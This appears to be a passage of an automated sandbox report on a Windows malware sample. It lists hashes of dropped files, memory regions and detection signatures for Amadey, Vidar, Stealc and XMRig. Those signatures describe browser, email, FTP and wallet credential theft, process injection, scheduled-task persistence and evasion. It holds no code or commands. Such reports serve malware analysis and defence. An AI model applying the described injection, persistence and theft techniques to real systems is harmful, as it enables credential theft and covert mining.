SHA1 4f925d9b551cebda3f898ad18c62925979bcda7e
SHA256 70290025a0c87bcbd58ea8caf22e2dc0104e726ef3a7f9d9649758869def4189
SHA512 c98e48feca40abf3fc22803dcc80c3f7dc11bc8f3ff6fd03a3d733c1acf438294347169887bcbce82ff20fa9a6cbf0a0d94c76dc15bb5989093d1c2f7903864a

C:\Users\Admin\AppData\Local\Temp\Comparisons

MD5 4e292eb85ce9e016ff5a01c719c027c2
SHA1 61b3995398ed8390e8b8dc1a262eb94d55d6b80f
SHA256 6492ab6cd6f8f028f0824e026ed7c5401136f203f7de953bc60f61b32de4b41f
SHA512 9a19f0345059e401fa82e1d90a103438a04b579ccab2667d609f3d7c0764fd91553e6dda65e771fbf3fb059b0e460ad885c22cf39562bacd7e44b4e7bea43ad7

C:\Users\Admin\AppData\Local\Temp\Terminology

MD5 bc54db6ebb67ee3a2e3c127758bc2884
SHA1 4068d9984c207545e62ad464e2134cac265bf9f7
SHA256 8c1e83e582baf2b8232a7ab8e81a751b45d260f4ff01bab2e42783d0e24d6b43
SHA512 a03330c03209d8ef28707854fda4ce7b2b680a374d820d8e699ef980cc6b1e5548eec7c8c86608e3507b3490f38d61f067b25d99d725f10158b9837666aef3cc

C:\Users\Admin\AppData\Local\Temp\July

MD5 d71ce9af90d20d69dc3de9bc70f9cacd
SHA1 3b5737986225b7358b909f43a201d4872cd3a294
SHA256 fbbc13426ec699ffd56f6c53bc5e5259e25af602205c3d04beac1d4c578f85da
SHA512 85dfe8e9705b97c6a877b0785394171768dc33effa3a37b9969d35ead669172e6e4eb1357d8c231db778a0b37b2d8253b9e6d170e45959ba24a6b2fac868399e

C:\Users\Admin\AppData\Local\Temp\Bt

MD5 cf6a6e9c0b825f2b1ced20b4ab200db6
SHA1 8d1987c13c8dc1287f0eb631201ca6eee12b4cd0
SHA256 6e4b33cc9c80b969af96b31b1e95588f9cf79e3670951c63172d60d4e1324f95
SHA512 337bca6e3e8e323821d3767feacc10faefb52b4664968e99c1ab62a72f6770f41bc338bfb672e6602249266b141c4e99d004e48adcd87ea308bdec493674dfdc

C:\Users\Admin\AppData\Local\Temp\Arg

MD5 d4c42c532dceb34e65d7defc682e77dc
SHA1 7584981bc314640ba1b92da552ffeaedc4ea3a21
SHA256 3e7706b03275975037e49a1a7f29e67bce822086f90630948d9528d9c4b68182
SHA512 67ca5bf547b9bda235c44166681cac7e12515fa49b78ee8d7f564fc094c1509e8fe2f2f029a99ec96ab1fbfb1b9c2d501e4e1d65b4855b75639f2974ac804a4b

C:\Users\Admin\AppData\Local\Temp\Wb

MD5 901d26287ebe3e866d15b610764c49c1
SHA1 13793e6f446a09511642a4f3085cb029a4b853ff
SHA256 c74030e343c6fde4a1f1cf54010c186f9e80b457662bab5500848597c2e19504
SHA512 19ae02941a1a17cbe12c653b3067e10e91e5fe8dd73e0ff2373355eb9ee41af3767ae06885a3fb35bb06e411ec8ac0f291d24e717c01adfcb802539b3cf1f15a

C:\Users\Admin\AppData\Local\Temp\Choose

MD5 fb2cc8e690d82366990f2f20a4a5ab75
SHA1 5556232996e954f981144129298e298c75f8c2fe
SHA256 51982155baed7d5006ebc4446a417f320f8d754ec99911fcfa97ee5d37ce7756
SHA512 e8ae811d270bd2de39d0578e84b0001bffaf34969a1fabaedbe804d96eb79919c13578f41af339ce9af26f5cb6cb107bd6d79c1af9aee8a9e359b4b885fde823

C:\Users\Admin\AppData\Local\Temp\Ns

MD5 67546d73dfe4d66538a7ac7dc030238f
SHA1 1a3450f06ac594739db273e3eb0155018fccc88e
SHA256 71f45ed46fbd47494a7ecb9b31c07214d99133e35b974f5cf2beceabb639217d
SHA512 f3ceb864801ddb2d7f8298950dd76a0738ab4586796d16290c1c8c11579b9017a9b14c94341c24ac024f89a38e402c81903fcabaa2dddd21ca681af173bf5bb3

C:\Users\Admin\AppData\Local\Temp\Objects

MD5 f2f3a8cb98474080fdcca6a39b6b3915
SHA1 49f7327ca65d969203be51ccbf9f4033579923d0
SHA256 ca682c8dcdca30548120b6d3194eebf36a9208bef0e9b611da828bd912a38260
SHA512 cde92ed6e3ad806f0acd220990b46168862511222ae3667c62084f93622cc7ba2e91ed3b1e489f5721b8eeba9fc25b5a718febe3718c1afb74fcc6b4f8c0b1b9

C:\Users\Admin\AppData\Local\Temp\Broadway

MD5 abfa29a29931ff6299126aed8dd08859
SHA1 c436e000edcc042f7f7889950a610c94d590d36c
SHA256 dd57cfa1ec84ac01cd4aab6dd18046b3a49daf0445ae29d6695c4a25c0bcd59d
SHA512 c0941a5de5fe072ba81b41b555ffdb59c6e0d2b9bed66a0cbb899699c38792cda0bb9857ab0752dbe0b3c966688ccb523989677803bf637675ec435a8c12406e

C:\Users\Admin\AppData\Local\Temp\Thus

MD5 08c077a34051a75c2b915a517c5d7d54
SHA1 ecb5cef32ca27ea5542b7416bc550601721f4a32
SHA256 3ed1a12fde96bc80c62d54a0647000dff23a63b987fe8c3faa9e11b4357321a0
SHA512 8746dae03892cee35b1a4463a7765399f2d1d1d989c53d0881043991c4187f7b4b1765376c435ff13722ec6dff2da98287efca0b335508f24d6f1805034e0f70

C:\Users\Admin\AppData\Local\Temp\Marcus

MD5 16fcba5d9aed0ef000c886f56cba85ee
SHA1 22584f6b7227ea3e0898233325be3ecb3c7bef6a
SHA256 35d270b74aa68781c8e0bc3cd008718ce362fe9fd32c9ba1ad52b82fe37d07aa
SHA512 7beb4a5207087b0e37f16df84702e4cac8699f951f6a92c7185bc83582766a43ef18bc93af24827793951f2417dd39bdf0717876f75f32feacec93fdfb2896f7

C:\Users\Admin\AppData\Local\Temp\Gc

MD5 f446974fde635cadfcc03c9a25fd3780
SHA1 b59e1202f13139f21db4274d65ac51d2a0f8b856
SHA256 5bc7072917151653d7c40e272d8a95a86bbe7ad027eb30a811331a6f7df7ba51
SHA512 cc1a13562df99e2e2a240ad8d8e8d948846c6c5be0c995d87785e3cf73b54824ee7318c423972ea362dafbaac986f19d0117bc7e5192af5a2ff9fc8430bcc1e7

C:\Users\Admin\AppData\Local\Temp\Shares

MD5 8715208e25afa7a73918e84ee8b27f50
SHA1 61935bc176db5586053d1d5a22dae8092e6a3f7e
SHA256 f0eba5c2f4c9998b0a491a7ec4fc953e601235709b3536ba1a928e8d5021d3f1
SHA512 461d9e809ede59c71cd7fd9aa90a8ad991c5c9504d5c9c53659604e7e0e25b02d2135fbc0b2c4ab0e4a60bd43c38fa1109559d5f19f58a387dbe8e03424230c8

C:\Users\Admin\AppData\Local\Temp\Talk

MD5 bb769ef1b8aa0b58d0b94c4804bcd418
SHA1 e6f4dc5a736038e5604e282046d1234ccabebf68
SHA256 ae766919ddefe1340cea9b4ae3acfc041e8d079baa7fcf7dca59dfa3330c2d59
SHA512 2d0e600f59a545b1d19f299a8b756bab334b02be8e9f6e1ff2d3f64c18362bcb60239b0786358023728be88c8e033219e9df500d30b3121921d356055c60bb05

C:\Users\Admin\AppData\Local\Temp\Pda

MD5 0766c0db71d9a82456e72ca071518676
SHA1 be36286b20cc0aeff00bdca079dfa9f4047e1ac0
SHA256 5553cf5ed1753ab9749bb7f3057f0db8cb9f19b8f673fa977b038ca0fef8b3d1
SHA512 032dad0b91b5482d5d1e558ba9e4dfea6f16c71725d21865f411f888fe631628f7a16a3e9fc367d88c02fde7f6ef7fd56a717c23feb45eb1ff5968605fb7fb77

C:\Users\Admin\AppData\Local\Temp\Roy

MD5 6310218145bc5ec965e5953fb0305d19
SHA1 b6043e6b47ea99b13efea5b2b7c523248379f6af
SHA256 ae7d0d86b3505a9c5c40bce3fd2554102e4f7d21aa5bdcc10451ce1019606629
SHA512 ae82e5721644c9f51852c5973dec9e250b83593b4079c7d3360e55700c75e43f9cac36de508654831c37e4d4ffdfcc8aabe8d681bcfd7a3a72d8d3f3df0fe6ec

C:\Users\Admin\AppData\Local\Temp\Gis

MD5 e5e509038d8029cc95879ae96199093c
SHA1 18fceacd1cf5c57c6c2f1dc59a05906b740323a0
SHA256 bfa2b066ea73af4b0296b130a7c1927a4723864502ec646809aca415677844a6
SHA512 359d9dc6751abf5dbbede201409e77652f595f40148f987272aacb50e320c43562f93db179727d05120c7bb8edb45c3fb81c30aebc91422f33ca7c70466b34b1

C:\Users\Admin\AppData\Local\Temp\Atlanta

MD5 05bf6c32a8d3cb1025a4e8baca686fc5
SHA1 e32584b21803cf8bed34367c8e4f34ff6104d6c4
SHA256 61460bebb1a3ada4d197a869a8d9637eaf03656b32509e5a4606240d06ab3361
SHA512 c93b4c23daf481e9ebcb8d19d1381e3a7ab49b1708e0340a9455a11fc26b3209577cc831e7610d212a0e677b8f6217855038b1cf0b2379f397549b92cbf89b03

C:\Users\Admin\AppData\Local\Temp\Russian

MD5 91be5c23d6db4ea3e47b0259475cdd4b
SHA1 07cee20085effe581fddb260a65473c130e88e21
SHA256 8e6d9c7c4069ed6ea1fa346238ce48cf4479df04d1871e874f8c31e8ffede898
SHA512 e4f536a4f9b60098abd7212f82cacf6d9729a89c207a74a7dfcf8b9069a64eb024d60f0d506c1a50726d60c267222d200a50a6cc3a31a06ea1ef9ab3fce887e3

C:\Users\Admin\AppData\Local\Temp\Serving

MD5 d0fa08b94bca138551c4b274ade27a75
SHA1 acaa349e9d6f03d622c2f0280247a43fbc078f3a
SHA256 4e9de0fd78447786652a61ab8339253c2ec4c671d3a9dd956d3aca384a7ee4a1
SHA512 bc17fd7b4b79f96d7adbf35c96919c49ace59ac0e2807fb31e7e88871218b5f0ad6f9183087c451675c16f24a16ed278fa78b325a3b631068e2fee16b3a84622

C:\Users\Admin\AppData\Local\Temp\Wallpaper

MD5 98d91341d4e754f361bbedeb35242a36
SHA1 4718235cf9242f7250700af2a3411357d2a2525c
SHA256 42d670d3dd28bc4597b71a9373763029451d0da5efe1288c774f6b512fae9f0e
SHA512 1e877510d91e6f62790b7f15c7ffa00c31e18f24bc3ec72dcd63e9c2b0031817bbf87e1f9d3359f50dd25f1d6e53eeea61fc9331ebc58f88361fcd2353e32fa9

C:\Users\Admin\AppData\Local\Temp\Tomorrow

MD5 b348e7db88d0e52cfb6c7adb43628390
SHA1 5daa60ea78be614a992e88a60b655601cb45ebb6
SHA256 fa61763479671d7aa59798ccd20a2ae48102e24f2fdbc11e753c2141b3e0d135
SHA512 9d3018d203bad94e6a6efb2f5c5dfb55b14d5a6e1885cc60a34f0c647771cede2626e448f2fc194e3d17795c97ebb0bf283cb2a24a7db71f5e7fd15bdab01eff

C:\Users\Admin\AppData\Local\Temp\Pct

MD5 5021070dbffa36d9053699bee3f88806
SHA1 00ce3f117ffe45372c27af5f920ebacdeac92f93
SHA256 41757cf277d0f40e48e2bfc6d963db78308fdfe0b054f67685e2a6473e25327b
SHA512 628268ba6d7c30f1d03f84ff3955782ed23f426645fb8a914b83514f1de9ef23b5060f57e8c6f38dc8071adf063971f050989cab5eb2ef300072ccb58bd7183a

C:\Users\Admin\AppData\Local\Temp\Shaft

MD5 4a29dcfa87b47e37e8b4447b840ccd91
SHA1 cd56012f27e7ece5545b6b07172f8f0169a852f5
SHA256 dbf049319595a1a9faf8c8dbc70814c4562c4b9dd10f18e56b0cb83e37cdce5c
SHA512 79b69684e7a72eb7fa24f36745f42370acc6655e44fbbd93dda679ed676c010a38a530b3b210196b6962e36ca1756fedb4341f867bdeb2e86c6ded23b7dde91f

C:\Users\Admin\AppData\Local\Temp\Word

MD5 ca2ac61ab298e06c4d8f07792708705c
SHA1 35547141d3593d89746a4de38e809388de7b224f
SHA256 cabef77014cb90d5e896c046830742852edb20adcd1da71f88f8f8805d476607
SHA512 c6f0fccfaa08ef6f4d17698eb07cf27fa116b94bab2a25afe392acb2fecb1fb9d58301288e80839dadf834245a614846d72d1243693b40a56d7be45745f90218

C:\Users\Admin\AppData\Local\Temp\Colleagues

MD5 8a6af62b964e899f2fdb5b08bb70fe1d
SHA1 74d97553398f4952fc7244db53a54c5c9418680b
SHA256 621b098f227833dd3d62d4b181bf751e76d9688237ae27ba4475947863775103
SHA512 be082ccae47ebb4bb28f9d9fc9ffb089e081ab95d41232be5bd998fdfcb6995816141e46289f7fb15acf890bc97ce77fb413c8a56424a411dcce03354d093186

C:\Users\Admin\AppData\Local\Temp\Isle

MD5 c7edd1b120ffd89a03bb13f43248c03f
SHA1 70cdf64d0b1f9ddeed567599ed2b4ea6c0fad204
SHA256 84e53bfccccd03c162214a5b47741945c029afd23ec7ca307f1a66bc292ff3f8
SHA512 9d760c5455f7daa4ee1aeb3070d33cc43ec933f843333ae9d89f15d62f3840939bb83ad39420bf3fc9f800c8dcdde3f39085e7fcdfbedeeb999382ac1f9e75e2

C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif

MD5 b06e67f9767e5023892d9698703ad098
SHA1 acc07666f4c1d4461d3e1c263cf6a194a8dd1544
SHA256 8498900e57a490404e7ec4d8159bee29aed5852ae88bd484141780eaadb727bb
SHA512 7972c78acebdd86c57d879c12cb407120155a24a52fda23ddb7d9e181dd59dac1eb74f327817adbc364d37c8dc704f8236f3539b4d3ee5a022814924a1616943

memory/3492-580-0x0000000001270000-0x00000000019BA000-memory.dmp

memory/3492-581-0x0000000001270000-0x00000000019BA000-memory.dmp

memory/3492-583-0x0000000001270000-0x00000000019BA000-memory.dmp

memory/3492-592-0x0000000001270000-0x00000000019BA000-memory.dmp

memory/3492-594-0x0000000061E00000-0x0000000061EF3000-memory.dmp

memory/3492-593-0x0000000001270000-0x00000000019BA000-memory.dmp

memory/3492-614-0x0000000001270000-0x00000000019BA000-memory.dmp

memory/3492-615-0x0000000001270000-0x00000000019BA000-memory.dmp

\ProgramData\AAEHJEGIIDAE\nss3.dll

MD5 1cc453cdf74f31e4d913ff9c10acdde2
SHA1 6e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512 dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

\ProgramData\AAEHJEGIIDAE\mozglue.dll

MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

C:\ProgramData\FBFCGIDAKE.exe

MD5 6cfddd5ce9ca4bb209bd5d8c2cd80025
SHA1 424da82e9edbb6b39a979ab97d84239a1d67c48b
SHA256 376e1802b979514ba0e9c73933a8c6a09dd3f1d2a289f420c2202e64503d08a7
SHA512 d861130d87bfedc38a97019cba17724067f397e6ffe7e1384175db48c0a177a2e7e256c3c933d0f42766e8077f767d6d4dc8758200852e8ec135736daee7c0f8

memory/2852-651-0x0000000001330000-0x0000000001843000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\2f67fa91

MD5 8d443e7cb87cacf0f589ce55599e008f
SHA1 c7ff0475a3978271e0a8417ac4a826089c083772
SHA256 e2aaaa1a0431aab1616e2b612e9b68448107e6ce71333f9c0ec1763023b72b2a
SHA512 c7d0ced6eb9e203d481d1dbdd5965278620c10cdc81c02da9c4f7f99f3f8c61dfe975cf48d4b93ccde9857edb881a77ebe9cd13ae7ef029285d770d767aa74a5

memory/2852-661-0x0000000071D30000-0x0000000071EAB000-memory.dmp

C:\ProgramData\IDAAFBGDBK.exe

MD5 daaff76b0baf0a1f9cec253560c5db20
SHA1 0311cf0eeb4beddd2c69c6e97462595313a41e78
SHA256 5706c6f5421a6a34fdcb67e9c9e71283c8fc1c33499904519cbdc6a21e6b071c
SHA512 987ca2d67903c65ee1075c4a5250c85840aea26647b1d95a3e73a26dcad053bd4c31df4ca01d6cc0c196fa7e8e84ab63ed4a537f72fc0b1ee4ba09cdb549ddf3

memory/2852-666-0x00007FFC1EA40000-0x00007FFC1EC1B000-memory.dmp

memory/3324-665-0x0000000001000000-0x0000000001248000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\314a95d3

MD5 c62f812e250409fbd3c78141984270f2
SHA1 9c7c70bb78aa0de4ccf0c2b5d87b37c8a40bd806
SHA256 d8617477c800cc10f9b52e90b885117a27266831fb5033647b6b6bd6025380a8
SHA512 7573ecac1725f395bbb1661f743d8ee6b029f357d3ef07d0d96ee4ff3548fe06fab105ee72be3e3964d2053de2f44245cca9a061d47c1411949840c84f6e9092

memory/3324-672-0x0000000071D30000-0x0000000071EAB000-memory.dmp

memory/3324-673-0x00007FFC1EA40000-0x00007FFC1EC1B000-memory.dmp

memory/3492-680-0x0000000001270000-0x00000000019BA000-memory.dmp

memory/3492-681-0x0000000001270000-0x00000000019BA000-memory.dmp

memory/3492-686-0x0000000001270000-0x00000000019BA000-memory.dmp

memory/3492-690-0x0000000001270000-0x00000000019BA000-memory.dmp

memory/3492-691-0x0000000001270000-0x00000000019BA000-memory.dmp

memory/3492-692-0x0000000001270000-0x00000000019BA000-memory.dmp

memory/2852-701-0x0000000071D30000-0x0000000071EAB000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\3179004f

MD5 812a037f52c6a524342efc28dde3f4bb
SHA1 72d9e34b77c7cebf3cc7178cace82323623657bb
SHA256 79e3f37fd94000a3639e97ca80baff55460875d1053b27d84a1de7e0eeee4ee8
SHA512 92909f09b595dcbc72ce467149381717ecd6ce3300c2c3ecd132f2f18ff7162558233c66f60ad94d5b007b00f6d9286d40df8483535d6a73e827520950358308

memory/3324-704-0x0000000071D30000-0x0000000071EAB000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\357a04b1

MD5 2533ca9a97f61ecf3033d2f99e9c8a81
SHA1 ec9132ce6511fa8af1aaf740947755cc291f0d23
SHA256 15592d77f28970a4a447e93201371d23f73cc51ab1db08183b2e5c381317cea3
SHA512 fac2ee5adad231194eb046f28529526fb9af7b94386b0e43172bc3582ef3f513d34c9110dec21b173aa604ed31cde6c2164816188c69e9a74e7995c49a198fd6

memory/1440-707-0x00007FFC1EA40000-0x00007FFC1EC1B000-memory.dmp

memory/1536-708-0x00007FFC1EA40000-0x00007FFC1EC1B000-memory.dmp

memory/1536-709-0x0000000071D30000-0x0000000071EAB000-memory.dmp

C:\ProgramData\AAEHJEGIIDAE\VCRUNT~1.DLL

MD5 a37ee36b536409056a86f50e67777dd7
SHA1 1cafa159292aa736fc595fc04e16325b27cd6750
SHA256 8934aaeb65b6e6d253dfe72dea5d65856bd871e989d5d3a2a35edfe867bb4825
SHA512 3a7c260646315cf8c01f44b2ec60974017496bd0d80dd055c7e43b707cadba2d63aab5e0efd435670aa77886ed86368390d42c4017fc433c3c4b9d1c47d0f356

C:\ProgramData\AAEHJEGIIDAE\softokn3.dll

MD5 4e52d739c324db8225bd9ab2695f262f
SHA1 71c3da43dc5a0d2a1941e874a6d015a071783889
SHA256 74ebbac956e519e16923abdc5ab8912098a4f64e38ddcb2eae23969f306afe5a
SHA512 2d4168a69082a9192b9248f7331bd806c260478ff817567df54f997d7c3c7d640776131355401e4bdb9744e246c36d658cb24b18de67d8f23f10066e5fe445f6

C:\ProgramData\AAEHJEGIIDAE\msvcp140.dll

MD5 5ff1fca37c466d6723ec67be93b51442
SHA1 34cc4e158092083b13d67d6d2bc9e57b798a303b
SHA256 5136a49a682ac8d7f1ce71b211de8688fce42ed57210af087a8e2dbc8a934062
SHA512 4802ef62630c521d83a1d333969593fb00c9b38f82b4d07f70fbd21f495fea9b3f67676064573d2c71c42bc6f701992989742213501b16087bb6110e337c7546

memory/1440-724-0x0000000071D30000-0x0000000071EAB000-memory.dmp

memory/4680-728-0x00007FFC020C0000-0x00007FFC0376E000-memory.dmp

memory/316-731-0x00007FFC1EA40000-0x00007FFC1EC1B000-memory.dmp

memory/4680-732-0x0000000000400000-0x000000000040A000-memory.dmp

memory/316-733-0x0000000000010000-0x0000000000081000-memory.dmp

memory/1892-737-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/1892-739-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/1892-741-0x00000200DAAE0000-0x00000200DAB00000-memory.dmp

memory/1892-740-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/1892-743-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/1892-744-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/1892-746-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/1892-745-0x0000000140000000-0x00000001407DC000-memory.dmp

memory/1892-742-0x0000000140000000-0x00000001407DC000-memory.dmp

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

MD5 125d07c5c2915083736d9ab50dbd1655
SHA1 83b377acf81aedaf1cedd5d66837dd892fa1afaa
SHA256 e711a7acd03b3fb679d3c7bdaca224dfd5baa2b6a85d5481c88f40c3bb776546
SHA512 fdea6d079af95238cdde094333e2a3d969aab5c56fc8b6a360b6784cde7cd932c3a0562b66cba95aa5eebf0cb58dec49f069f4602d0b6f4830f28b93dd77b89b

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

MD5 8202a1cd02e7d69597995cabbe881a12
SHA1 8858d9d934b7aa9330ee73de6c476acf19929ff6
SHA256 58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5
SHA512 97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

C:\Users\Admin\AppData\Local\Temp\1000003041\run.ps1

MD5 1e49c49df1e9bb5a3646fbdd72fff72d
SHA1 ca3b2f92797030ad96341c5551812e679e9746d3
SHA256 df52ed4a147cad99aec03614368f8781e806c45be6e046ec4a73a26e7ec9cd10
SHA512 b0c96599de30f1822ddc99d1fed6341ae06f25a171c52b9a78f6304d02a30f8da41738d4af4b4c8365b0b52739b3df03be99dddf764f12f724bd24a91b59c82d

memory/5020-762-0x0000000004E30000-0x0000000004E66000-memory.dmp

memory/5020-763-0x00000000079F0000-0x0000000008018000-memory.dmp

memory/5020-764-0x0000000007990000-0x00000000079B2000-memory.dmp

memory/5020-765-0x0000000008190000-0x00000000081F6000-memory.dmp

memory/5020-766-0x0000000008120000-0x0000000008186000-memory.dmp

memory/5020-767-0x0000000008200000-0x0000000008550000-memory.dmp

memory/5020-768-0x0000000008550000-0x000000000856C000-memory.dmp

memory/5020-769-0x0000000008C10000-0x0000000008C5B000-memory.dmp

memory/5020-770-0x0000000008A00000-0x0000000008A76000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3bwgvuay.4ab.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/316-784-0x0000000000010000-0x0000000000081000-memory.dmp

memory/5020-791-0x0000000009B50000-0x0000000009BE4000-memory.dmp

memory/5020-792-0x00000000098A0000-0x00000000098BA000-memory.dmp

memory/5020-793-0x00000000098F0000-0x0000000009912000-memory.dmp

memory/5020-794-0x000000000A190000-0x000000000A68E000-memory.dmp

memory/5020-799-0x000000000AD10000-0x000000000B388000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-14 18:12

Reported

2024-06-14 18:34

Platform

win10v2004-20240611-en

Max time kernel

963s

Max time network

966s

Command Line

C:\Windows\Explorer.EXE

Signatures

Amadey

trojan amadey

Detect Vidar Stealer

stealer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Stealc

stealer stealc

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 2372 created 3420 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Windows\Explorer.EXE

Vidar

stealer vidar

xmrig

miner xmrig

XMRig Miner payload

miner
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Setup.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\ProgramData\GHJDBAKEHD.exe N/A
N/A N/A C:\ProgramData\HDGDHCGCBK.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of local email clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Checks installed software on the system

discovery

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2372 set thread context of 3784 N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif
PID 4600 set thread context of 3508 N/A C:\ProgramData\HDGDHCGCBK.exe C:\Windows\SysWOW64\ftp.exe
PID 2112 set thread context of 3588 N/A C:\ProgramData\GHJDBAKEHD.exe C:\Windows\SysWOW64\ftp.exe
PID 3508 set thread context of 4544 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 4544 set thread context of 3364 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
PID 2800 set thread context of 4840 N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe C:\Windows\SysWOW64\ftp.exe
PID 4840 set thread context of 5060 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 4232 set thread context of 4248 N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe C:\Windows\SysWOW64\ftp.exe
PID 4248 set thread context of 1232 N/A C:\Windows\SysWOW64\ftp.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
PID 632 set thread context of 5104 N/A C:\Users\Admin\AppData\Roaming\help\fxcloud.exe C:\Windows\SysWOW64\ftp.exe

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\TWI Cloud Host.job C:\Windows\SysWOW64\ftp.exe N/A
File created C:\Windows\Tasks\Watcher Com SH.job C:\Windows\SysWOW64\ftp.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A
N/A N/A C:\Windows\SysWOW64\tasklist.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\366279\Suspect.pif N/A
